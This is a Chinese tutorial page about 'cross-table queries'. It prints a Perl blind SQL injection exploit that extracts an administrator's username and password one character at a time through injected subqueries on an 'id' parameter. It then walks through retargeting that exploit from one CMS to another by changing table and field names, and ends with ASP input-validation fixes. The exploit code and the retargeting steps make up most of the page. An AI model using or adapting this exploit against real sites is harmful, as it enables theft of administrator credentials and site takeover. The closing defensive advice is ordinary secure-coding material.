盾怪网教程:是一个免费提供流行杀毒软件教程、在线学习分享的学习平台!

一个跨表查询的例子

时间:2024/10/29作者:未知来源:盾怪网教程人气:

[摘要], . / \\); @dic=(@dig,@char,@tchar); @dic1=(@char,@dig,@tchar); print "\n开始尝试获取ID=adminid的管理员的...
, . / \\);
@dic=(@dig,@char,@tchar);
@dic1=(@char,@dig,@tchar);

print "\n开始尝试获取ID=$adminid的管理员的用户名及密码,请等待......\n";

for ($userlocat=1;$userlocat<=$userlen;$userlocat++)
{
foreach $usertemp(@dic1)
{
$user=$userdic.$usertemp;

$way1 = "?id=$txtid%20AND%20'$user'=(select%20mid(username,1,$userlocat)%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
if ($userlocat==$userlen){print "\n\n\t* 获取成功!!! ID=$adminid的管理员名字是: $user\n";last;}
print "\n\t* ID=$adminid的管理员名字的前 $userlocat 位为 $user";
$userdic=$userdic.$usertemp;
last;
}
}
}

for ($passlocat=1;$passlocat<=$passlen;$passlocat++)
{
foreach $passtemp(@dic)
{
$pass=$passdic.$passtemp;

$way1 = "?id=$txtid%20AND%20'$pass'=(select%20mid(password,1,$passlocat)%20from%20admin%20where%20id=$adminid)";

&url;@res = &connect;

if ("@res" !~ /$errinfo/)
{
if ($passlocat==$passlen){print "\n\n\t* 获取成功!!! ID=$adminid的管理员密码是: $pass";last;}
print "\n\t* ID=$adminid的管理员密码的前 $passlocat 位为 $pass";
$passdic=$passdic.$passtemp;
last;
}
}
}


print "\n\n\n\t* 测试完毕. 获取到一个用户名为$user密码为$pass的管理员权限! *\n";
print "\n\n\n";
#system('pause');


sub url
{
$req = "GET $way$way1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
}


sub connect
{
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port)
die "Sorry! Could not connect to $host \n";

print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}


其实这类脚本都是差不多一个道理,利用某一个文件的漏洞来进行跨表查询的操作。尽管你看不懂大多数代码,但刚才我们不是学习了那个SQL查询语句吗?我们就可以依葫芦画瓢把这个针对动网的Exploit改为针对盗帅文章的了,想改成什么的都可以啊。看这句:

for ($adminid=1;$adminid<=100;$adminid++)
{
$way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20flag=1)";

上面的$adminid变量是定义管理员id的取值范围1-100,$后面的都是变量。不用去改。(select%20min(id)%20from%20admin%20where%20flag=1)这里就是我们要改的查询语句。动网的admin表里面的flag字段等于1的是管理员,而盗帅的是字段qx等于2的是管理员。我们就可以把flag=1改为qx=2,from%20admin里面意思是从admin里查询。盗帅的和动网一样。我们就不用改了。改完后的代码如下:

for ($adminid=1;$adminid<=100;$adminid++)
{
$way1 = "?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20qx=2)";

再看这句:

for ($passlen=1;$passlen<=10;$passlen++)
{
$way1 = "?id=$txtid%20AND%20$passlen=(select%20len(password)%20from%20admin%20where%20id=$adminid)";

上面是$passlen变量也是定义取值范围,也是密码长度。动网的存放密码的字段是password,盗帅的是pass,所以我们要把password改为pass,改完后就是这样:

for ($passlen=1;$passlen<=50;$passlen++)
{
$way1 = "?id=$txtid%20AND%20$passlen=(select%20len(pass)%20from%20admin%20where%20id=$adminid)";

由于盗帅的密码最大长度是50,所以我们也不得不把$passlen的最大值改为50(好变态哦),

其他的地方大家应该会改了吧?都是依葫芦画瓢的,只要表名、字段名、数据长度对就可以了。但是真的要写出好的Exploit,还得下大力气精通那些编程语言。毕竟这是修改别人的嘛……

解决办法

上面说了那么多攻击方法,下面说说出现这类漏洞如何解决。因为是没有检查提交的变量。那我们就要加一些代码来检查一下。把下面的短短代码加入到查询语句的前面。这样就会先检查提交的变量,才放到SQL查询语句中。

dim idid
idid=replace(request("id")," ","")
if isnumeric(idid)=0 or idid="" then
response.write "禁止提交非法语句!"
response.end
end if

注意,这里声明了一个idid变量,用来检查id,所以后面的查询语句中的id要改为idid,这样不管别人是提交单引号、分号还是and 1=1、and 1=2都是显示“禁止提交非法语句!”这样谁还能判断真假啊?这里也给广大ASP开发人员提个醒,凡是放到SQL查询语句的变量都要经过严格检查,禁止一切特殊字符。安全的程序,用户用得也安心。还有另一种方法,看下面这段代码:

Function isInt(str)
Dim L,I
isInt=False
If Trim(Str)="" Or IsNull(str) Then Exit Function
str=CStr(Trim(str))
L=Len(Str)
For I=1 To L
If Mid(Str,I,1)>"9" Or Mid(Str,I,1)<"0" Then Exit Function
Next
isInt=True
End Function

Function CheckStr(Str)
If Trim(Str)="" Or IsNull(str) Then Exit Function
Checkstr=Replace(Trim(Str),"'","''")
End Function

Dim id
id=CheckStr(Request.QueryString("id"))
If isInt(ID)=False Then
Response.Redirect "index.asp"
End If


这里写了两个Function过程来判断数字是否整形,还有检查一些非法字符。如果有则跳回index.asp这个页面。其实也和上面的一样,上面是给出错误信息。第二种方法是跳转页面。大家可以试试。多掌握一种方法也不是坏事啊。方法是多种多样的,还有不少没有举例。大家自己去探索吧。

如果实在不会改,还有一个下策就是使用中文用户名。中国的文字有多少?大家自己看看吧。还有,提交中文的语句,大家也可以看看有什么有趣的提示。也不失为一个好办法。呵呵。


关键词:一个跨表查询的例子




Copyright © 2012-2018 盾怪网教程(http://www.dunguai.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版